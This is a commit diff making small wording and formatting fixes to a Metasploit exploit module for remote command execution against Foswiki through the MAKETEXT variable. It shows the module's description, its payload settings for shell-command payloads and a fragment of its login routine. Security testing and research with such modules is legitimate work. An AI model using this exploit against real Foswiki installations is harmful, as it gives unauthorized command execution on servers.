Skip to content

Commit 9af8c9b

Browse files
committed
Small corrections
1 parent 395a20e commit 9af8c9b

File tree

1 file changed

+11
-13
lines changed

1 file changed

+11
-13
lines changed

modules/exploits/unix/webapp/foswiki_maketext.rb

Lines changed: 11 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -16,18 +16,17 @@ def initialize(info = {})
1616
super(update_info(info,
1717
'Name' => 'Foswiki MAKETEXT Remote Command Execution',
1818
'Description' => %q{
19-
This module exploits a vulnerability in the MAKETEXT Foswiki variable. Using a
20-
specially crafted MAKETEXT, a malicious user can execute shell commands since user
19+
This module exploits a vulnerability in the MAKETEXT Foswiki variable. By using
20+
a specially crafted MAKETEXT, a malicious user can execute shell commands since the
2121
input is passed to the Perl "eval" command without first being sanitized. The
2222
problem is caused by an underlying security issue in the CPAN:Locale::Maketext
23-
module. This works in Foswiki sites that have user interface localization enabled
24-
(UserInterfaceInternationalisation variable set).
25-
26-
If USERNAME and PASSWORD credentials aren't provided anonymous access will be
27-
intended. On the other hand, if the FoswikiPage option isn't provided, the module
28-
will try to create a random page on the SandBox space. The modules has been tested
29-
successfully on Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware
30-
virtual machine.
23+
module. Only Foswiki sites that have user interface localization enabled
24+
(UserInterfaceInternationalisation variable set) are vulnerable.
25+
26+
If USERNAME and PASSWORD aren't provided, anonymous access will be tried.
27+
Also, if the FoswikiPage option isn't provided, the module will try to create a
28+
random page on the SandBox space. The modules has been tested successfully on
29+
Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware image.
3130
},
3231
'Author' =>
3332
[
@@ -45,12 +44,11 @@ def initialize(info = {})
4544
'Payload' =>
4645
{
4746
'DisableNops' => true,
48-
'BadChars' => '',
4947
'Space' => 1024,
5048
'Compat' =>
5149
{
5250
'PayloadType' => 'cmd',
53-
'RequiredCmd' => 'generic ruby python bash telnet',
51+
'RequiredCmd' => 'generic ruby python bash telnet'
5452
}
5553
},
5654
'Platform' => [ 'unix' ],
@@ -80,7 +78,7 @@ def do_login(username, password)
8078
})
8179

8280
if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /FOSWIKISID=([0-9a-f]*)/
83-
print_status "#{res.code}\n#{res.body}"
81+
vprint_status "#{res.code}\n#{res.body}"
8482
return nil
8583
end
8684

0 commit comments

Comments
 (0)